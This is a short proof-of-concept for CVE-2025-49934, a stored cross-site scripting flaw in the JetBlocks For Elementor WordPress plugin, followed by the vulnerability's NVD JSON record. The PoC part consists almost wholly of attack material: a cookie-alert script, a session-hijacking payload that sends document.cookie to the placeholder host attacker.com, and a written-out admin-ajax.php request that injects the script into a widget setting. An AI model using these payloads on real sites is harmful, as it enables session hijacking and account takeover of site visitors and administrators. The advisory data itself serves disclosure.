CVE-2025-49934

<!-- CVE-2025-49934 PoC for JetBlocks For Elementor Stored XSS --> <!-- Stored XSS in JetBlocks For Elementor plugin --> <!-- Attack Payload --> <script>alert(document.cookie)</script> <!-- More sophisticated payload for session hijacking --> <script> var img = new Image(); img.src = 'https://attacker.com/steal?c=' + document.cookie; </script> <!-- Example HTTP Request to inject payload --> POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=jet_blocks_save_settings&widget_id=jet-tabs&settings[title]=<script>alert(document.cookie)</script>&nonce=xxxx

{"cve": {"id": "CVE-2025-49934", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:39.617", "lastModified": "2026-04-27T20:16:18.350", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetBlocks For Elementor jet-blocks allows Stored XSS.This issue affects JetBlocks For Elementor: from n/a through <= 1.3.18."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/jet-blocks/vulnerability/wordpress-jetblocks-for-elementor-plugin-1-3-18-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}